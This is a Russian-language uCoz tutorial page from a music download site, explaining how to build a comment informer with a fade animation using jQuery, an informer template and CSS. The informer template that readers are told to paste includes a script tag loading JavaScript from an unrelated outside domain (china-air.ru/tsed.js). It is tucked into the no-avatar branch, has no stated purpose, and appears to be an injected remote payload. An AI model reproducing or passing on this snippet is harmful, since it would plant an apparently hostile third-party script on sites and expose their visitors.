Рингтоны Шансон Relax Rock классика Pop 70-90 Новинки России и Украины Новинки Европы и Америки Новинки Dubstep Клубные Хиты Instrumental Золотые хиты Mp3 минуса
| newhit.org - лучшие MP3 новинки хит парадов бесплатно | Главная | Регистрация | Вход |Приветствую Вас Гость | RSS
Меню сайта

Категории раздела
Новости сайта [20]
Скрипты для UCOZ [14]

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0


Главная » 2012 » Декабрь » 24 » Информер с плавным обновлением коментариев
21:38
Информер с плавным обновлением коментариев
Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее.

Установка!

Ставим этот скрипт после тега <body>:

Код
<script type="text/javascript">  
  $(document).ready(function(){  
  var first = 0;  
  var speed = 700;  
  var pause = 3500;  
   
  function removeFirst(){  
  first = $('ul#center_dm_ru li:first').html();  
  $('ul#center_dm_ru li:first')  
  .animate({opacity: 0}, speed)  
  .fadeOut('slow', function() {$(this).remove();});  
  addLast(first);  
  }  
   
  function addLast(first){  
  last = '<li style="display:none">'+first+'</li>';  
  $('ul#center_dm_ru').append(last)  
  $('ul#center_dm_ru li:last')  
  .animate({opacity: 1}, speed)  
  .fadeIn('slow')  
  }  
   
  interval = setInterval(removeFirst, pause);  
  });  
  </script>


Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код:

Код
<li>  
  <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>  
  </li>


Вставляем этот код в блок и меняем на свой информер:

Код
<ul id="center_dm_ru">  
  $MYINF_1$  
  </ul>


И прописываем в css стили информера:

Код
#center_dm_ru {  
  overflow:hidden;  
  height:250px;  
  width:250px;  
  border:solid 1px #C8D9E5;  
  padding: 0px 0px 0px 0px;  
  background: #F8FCFF;  
  }  

  #center_dm_ru li {  
  list-style:none;  
  overflow:hidden;  
  border-top: 1px solid #fff;  
  border-bottom: 1px solid #C8D9E5;  
  padding: 10px 5px 10px 5px;  
  }  

  .coment_avatar {  
  float:right;  
  width:25px;  
  height:25px;  
  background: #F3F3F3;  
  margin-left: 5px;  
  padding: 2px;  
  border:1px solid #C8D9E5;  
  }  

  .massage_link:link,  
  .massage_link:visited {  
  text-decoration: none;  
  color:#555;  
  }  

  .massage_link:hover {  
  color:#999;  
  }  

  #center_dm_ru li a:hover img {  
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);  
  -moz-opacity: 0.5;  
  opacity: 0.5;  
  filter: alpha(opacity=50);  
  }


[code][/code]
Просмотров: 177 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:
Форма входа

Народные Хиты
 
Народный Хит парад
Народный Хит онлайн
Народный Хит парад
Григорий Лепс
Народный Хит парад
Таисия Повалий
Народный Хит парад
Стас Михайлов
Народный Хит парад
Народный Хит Парад
Народный хит парад


Поиск

Календарь
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31

Архив записей

Друзья сайта
Наши друзья
  • хит парад 2014 2015
  • трансферы в Париже
  • презентация онлайн
  • Караоке в Севастополе
  • экскурсии в Париже
  • анимационные открытки
  • бесполезные лекарства


  • Copyright MyCorp © 2017

    Сделать бесплатный сайт с uCoz